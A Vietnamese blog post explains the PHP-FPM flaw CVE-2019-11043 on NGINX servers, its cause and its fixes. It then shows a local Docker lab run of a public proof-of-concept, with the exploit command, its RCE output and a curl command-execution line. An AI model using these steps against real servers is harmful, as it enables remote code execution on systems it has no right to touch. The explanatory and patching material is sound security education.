Menu

  • Trang chủ
  • Trending
  • Gợi ý bạn đọc

Chuyên mục

  • Tin tức
  • Hackintosh
  • Lập trình
  • Software
  • Thủ thuật
  • Chia sẻ
  • GenZA Can Cook
  • GenZA Beauty
  • Cảm nhận cuộc sống

Liên hệ hợp tác

admin@genzakit.com
Genzakit
Không có kết quả phù hợp
Xem tất cả kết quả
  • Đăng nhập
Genzakit
Không có kết quả phù hợp
Xem tất cả kết quả

Lỗ hổng PHP-FPM (CVE-2019-11043) với máy chủ NGINX

395
CHIA SẺ
2.6k
LƯỢT XEM
Chia sẻ lên FacebookChia sẻ lên TwitterLưu lại trên Pinterest

Một lỗ hổng được báo cáo gần đây, có mã là CVE-2019-11043, có thể ảnh hưởng đến các trang web sử dụng PHP-FPM để thực thi các trang PHP. Việc sử dụng PHP-FPM đặc biệt phổ biến tại các trang web sử dụng NGINX vì NGINX không có thời gian chạy PHP trong tiến trình. Thay vào đó, NGINX hoạt động như một Reverse Proxy cho các máy chủ ứng dụng và trình quản lý tiến trình như PHP-FPM.
Lỗ hổng này nằm ở chính PHP-FPM chứ k phải là NGINX. Vì vậy cách giải quyết đơn giản và đảm bảo hiệu quả là nâng cấp bản vá hoặc cập nhật version PHP lên PHP 7.1.33, PHP 7.2.24 hoặc PHP 7.3.11.

Bản chất của lỗ hổng

NGINX giao tiếp với PHP-FPM bằng giao thức FastCGI. Mỗi thông báo FastCGI chứa một tập hợp các biến môi trường. Một trong số này, PATH_INFO được lấy từ các request parameters. Nếu giá trị của nó đột nhiên “empty”, nó có thể gây ra hỏng bộ nhớ trong PHP-FPM binary. Có thể khai thác lỗi này và làm cho PHP-FPM binary chạy các lệnh tùy ý trên local server.
Lỗ hổng này được kích hoạt bởi một cấu hình NGINX được mọi người hay dùng, theo đó, NGINX sử dụng một regex chỉ định fastcgi_split_path_info tách URI theo yêu cầu thành 2 phần. Một cách để kích hoạt lỗ hổng này là nhúng ký tự ngắt dòng (%0a) hoặc ký tự (%0d) vào request URI, sau đó nó không được xử lý theo kiểu bình thường ✌️

Những website nào có thể bị ảnh hưởng

Hiện tại những trang web có các server NGINX chạy các phiên bản PHP 7 trở lên có thể bị ảnh hưởng. Lỗi underflow PHP-FPM cũng có thể bị ảnh hưởng đến các phiên bản PHP trở về trước.
Một website có thể dính lỗ hổng này nếu website được cấu hình như sau:

  • NGINX được config chuyển tiếp yêu cầu của các trang PHP đến PHP-FPM để xử lý.
  • fastcgi_split_path_info được sử dụng trong tệp cấu hình và sử dụng regex được bắt đầu bằng “^” và kết thúc bằng “$”
  • Biến PATH_INFO được sử dụng với fastcgi_param directive.

Xử lý:

  • Upgrade lên phiên bản PHP mới hơn.
  • Nếu bạn không thể upgrade version PHP ngay lập tức, thì có một tùy chọn để giảm thiểu một phần mà bạn có thể thực hiện
    • Thêm try_files $uri = 404; vào file config của NGINX.
    • Sử dụng ModSecurity để chặn các yêu cầu có chứa %0a hoặc %0d
      SecRule REQUEST_URI "@rx %0(a|A|d|D)" "id:1,phase:1,t:lowercase,deny"

Thực hành

Ở đây mình đã tìm thấy một PoC có build docker để mình có thể thực hành với lỗ hổng mới này.
https://github.com/theMiddleBlue/CVE-2019-11043

Các bước thực hiện.

git clone https://github.com/theMiddleBlue/CVE-2019-11043.git
cd CVE-2019-11043
docker-compose up -d

(nếu docker-compose up -d bị lỗi thì bạn nên kiểm tra lại tệp docker-compose.yml xem đã cấu hình đúng chưa)

python exploit.py --url https://localhost:3000/index.php

Bạn có thể đọc logs PHP-FPM bằng lệnh:

docker logs --tail 10 --follow php
[*] QSL candidate: 1752, 1757, 1762
[*] Target seems vulnerable (QSL:1752/HVL:233): PHPSESSID=e917394e3b139d62fe86807e7f918f50; path=/
[*] RCE successfully exploited!
    You should be able to run commands using:
    curl http://localhost:3000/index.php?a=bin/ls+/

Bingo. Vậy là bạn đã có thể remote server rồi.

Tham khảo

  • https://www.nginx.com/blog/php-fpm-cve-2019-11043-vulnerability-nginx/
  • https://github.com/theMiddleBlue/CVE-2019-11043
  • https://paper.seebug.org/1064/
Source: Viblo
Từ khoá: nginxphpphp-fpm
Next Post

Cách tìm kiếm hiệu quả với Google

Theo dõi
Đăng nhập
Thông báo của
guest
guest
0 Comments
Phản hồi nội tuyến
Xem tất cả bình luận

Có thể bạn quan tâm

Cách tăng traffic cho website hiệu quả và tiết kiệm

Cách tăng traffic cho website hiệu quả và tiết kiệm

by Jendy Yến
5 Tháng Mười, 2021
1
2.6k

Gần đây mình thấy chủ đề về Traffic User được khá nhiều anh em SEOer quan tâm, vậy...

Mã nguồn iOS 13 xuất hiện thiết bị Tag, theo dõi vị trí đồ cá nhân không cần mạng như Find My?

by Anthony Tran
5 Tháng Sáu, 2019
0
2.6k

Một anh lập trình viên tên là Steve Moser đã phát hiện ra trong mã nguồn của iOS...

Bật mí bí quyết làm đẹp cho phụ nữ, giữ gìn nét đẹp thanh xuân

Bật mí bí quyết làm đẹp cho phụ nữ, giữ gìn nét đẹp thanh xuân

by Huệ Minh
19 Tháng Mười, 2021
0
2.6k

Bạn nên biết rằng phụ nữ có giữ được nét đẹp thanh xuân lâu dài hay không là...

Hướng dẫn nâng cấp PHP 7.4 cho HocVPS Script

by Anthony Tran
16 Tháng Hai, 2020
0
2.6k

HocVPS Script là 1 bash script chạy trên SSH sẽ tự động cài đặt tất cả các thành...

  • Giới thiệu
  • Liên hệ
  • Chính sách bảo mật

© 2023 Genzakit

Không có kết quả phù hợp
Xem tất cả kết quả
  • Trending
  • Gợi ý bạn đọc
  • Tin tức
  • Hackintosh
  • Lập trình
  • Software
  • Thủ thuật
  • Chia sẻ
  • GenZA Can Cook
  • GenZA Beauty
  • Vui mỗi ngày
  • Cảm nhận cuộc sống

© 2022 Genzakit - Ngôi nhà giới trẻ

Chào mừng trở lại!

Đăng nhập bằng Facebook
Sign In with Google
OR

Đăng nhập

Quên mật khẩu?

Retrieve your password

Please enter your username or email address to reset your password.

Đăng nhập
wpDiscuz